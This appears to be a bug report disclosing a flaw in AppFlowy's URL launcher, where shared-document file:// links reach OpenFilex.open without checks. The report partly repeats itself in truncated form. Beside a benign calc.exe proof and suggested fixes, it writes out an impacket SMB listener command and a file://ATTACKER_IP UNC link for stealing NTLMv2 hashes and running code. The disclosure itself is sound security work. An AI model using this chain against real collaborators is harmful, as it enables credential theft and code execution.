Bug Description
In url_launcher.dart, any link whose decoded form matches your local-path pattern is routed to _afLaunchLocalUri, which calls OpenFilex.open on it. OpenFilex.open is "open this path with the OS default application," so for an executable it runs it, and for a UNC path it reaches out over SMB. There is no scheme allowlist, no host check, and no confirmation prompt. Because document hyperlinks are stored verbatim and rendered to every collaborator, one collaborator can plant a link that fires on another collaborator's machine when clicked.
Vulnerable code (current main)
frontend/appflowy_flutter/lib/core/helpers/url_launcher.dart, decision branch (around line 31):
final decodedUrl = Uri.decodeComponent(url);
if (localPathRegex.hasMatch(decodedUrl)) {
return _afLaunchLocalUri(uri, ...);
}
Same file, the sink (around line 130):
final decodedUrl = Uri.decodeComponent(uri.toString());
var result = await OpenFilex.open(decodedUrl); // no validation, no confirmation
if (result.type != ResultType.done) {
result = await OpenFilex.open(Directory(decodedUrl).parent.path);
}
frontend/appflowy_flutter/lib/shared/patterns/common_patterns.dart (around line 49):
const _localPathPattern = r'^(file:\/\/|\/|\\|[a-zA-Z]:[/\\]|\.{1,2}[/\\])';
file://, UNC (file://host/share/...), drive paths and Unix paths all match, so a collaborator-supplied link reaches OpenFilex.open.
How to Reproduce
Part 1: benign proof (any machine, safe to run)
- Open any document and insert a hyperlink. Display text can be anything, target is a local path:
- Windows: file:///C:/Windows/System32/calc.exe
- Linux/macOS: file:///etc/hostname (or any local file)
- Click the link.
- Result: on Windows, Calculator launches. On Linux/macOS, the file opens in its default app. No prompt, just a success toast. This alone proves the client executes/opens arbitrary local targets from a document link. (Screenshot of Calculator launching from the clicked link attached.)
Part 2: the real attack (collaborator to victim, Windows)
This is the weaponized chain, included so you can see the full impact. Please treat it as sensitive.
-
Attacker stands up an SMB listener on a host they control, for example with impacket:
sudo impacket-smbserver share ./loot -smb2support
(or Responder for hash capture). Optionally place a payload named to look benign, e.g. loot/Q3-Report.pdf.exe.
-
In a document shared with the victim, the attacker (any collaborator with edit rights) inserts a hyperlink:
- Display text: Q3 Report
- Target: file://ATTACKER_IP/share/Q3-Report.pdf.exe
-
The victim opens the shared document on the Windows desktop client and clicks "Q3 Report."
-
AppFlowy matches the file:// pattern and calls OpenFilex.open on the UNC path. The Windows SMB redirector connects to ATTACKER_IP and authenticates, which hands the attacker the victim's NTLMv2 hash (captured on the SMB server / Responder). This step is reliable and needs no further interaction. Depending on the victim's policy and the target file type, the referenced executable is then launched in the victim's user context.
Net result: reliable NTLM credential theft (usable for relay or offline cracking) and, in many configurations, code execution on the victim's machine, all from clicking a link in a shared document.
Expected Behavior
- Reliable: NTLMv2 hash disclosure to an attacker-controlled host.
- Conditional: code execution in the victim's user context via UNC executables or scriptable file types, subject to OS handler and policy.
- Reachable by the lowest-privileged collaborator on any shared document; the victim only has to click.
Operating System
Windows
AppFlowy Version(s)
AppFlowy (v0.11.8)
Screenshots
No response
Additional Context
We'd rate it High, CVSS v3.1 around 8.0 (AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H). It's the same class fixed previously in several desktop editors and chat clients. Affected: v0.11.8 and current main.
Suggested fix
- Don't route document hyperlinks to OpenFilex.open at all. Remove the file:// / local-path branch from afLaunchUri so document links are never auto-opened as local files. Users can still copy a path manually if they genuinely want to open one.
- If local-file opening has to stay for some flow, reject file:///... (UNC) outright and require a confirmation dialog that shows the full resolved path before opening.
- Strip or quarantine file: links at the document render layer, the same way javascript: is handled.
Bug Description
In url_launcher.dart, any link whose decoded form matches your local-path pattern is routed to _afLaunchLocalUri, which calls OpenFilex.open on it. OpenFilex.open is "open this path with the OS default application," so for an executable it runs it, and for a UNC path it reaches out over SMB. There is no scheme allowlist, no host check, and no confirmation prompt. Because document hyperlinks are stored verbatim and rendered to every collaborator, one collaborator can plant a link that fires on another collaborator's machine when clicked.
Vulnerable code (current main)
frontend/appflowy_flutter/lib/core/helpers/url_launcher.dart, decision branch (around line 31):
Same file, the sink (around line 130):
frontend/appflowy_flutter/lib/shared/patterns/common_patterns.dart (around line 49):
file://, UNC (file://host/share/...), drive paths and Unix paths all match, so a collaborator-supplied link reaches OpenFilex.open.
How to Reproduce
Part 1: benign proof (any machine, safe to run)
Part 2: the real attack (collaborator to victim, Windows)
This is the weaponized chain, included so you can see the full impact. Please treat it as sensitive.
Attacker stands up an SMB listener on a host they control, for example with impacket:
(or Responder for hash capture). Optionally place a payload named to look benign, e.g. loot/Q3-Report.pdf.exe.
In a document shared with the victim, the attacker (any collaborator with edit rights) inserts a hyperlink:
The victim opens the shared document on the Windows desktop client and clicks "Q3 Report."
AppFlowy matches the file:// pattern and calls OpenFilex.open on the UNC path. The Windows SMB redirector connects to ATTACKER_IP and authenticates, which hands the attacker the victim's NTLMv2 hash (captured on the SMB server / Responder). This step is reliable and needs no further interaction. Depending on the victim's policy and the target file type, the referenced executable is then launched in the victim's user context.
Net result: reliable NTLM credential theft (usable for relay or offline cracking) and, in many configurations, code execution on the victim's machine, all from clicking a link in a shared document.
Expected Behavior
Operating System
Windows
AppFlowy Version(s)
AppFlowy (v0.11.8)
Screenshots
No response
Additional Context
We'd rate it High, CVSS v3.1 around 8.0 (AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H). It's the same class fixed previously in several desktop editors and chat clients. Affected: v0.11.8 and current main.
Suggested fix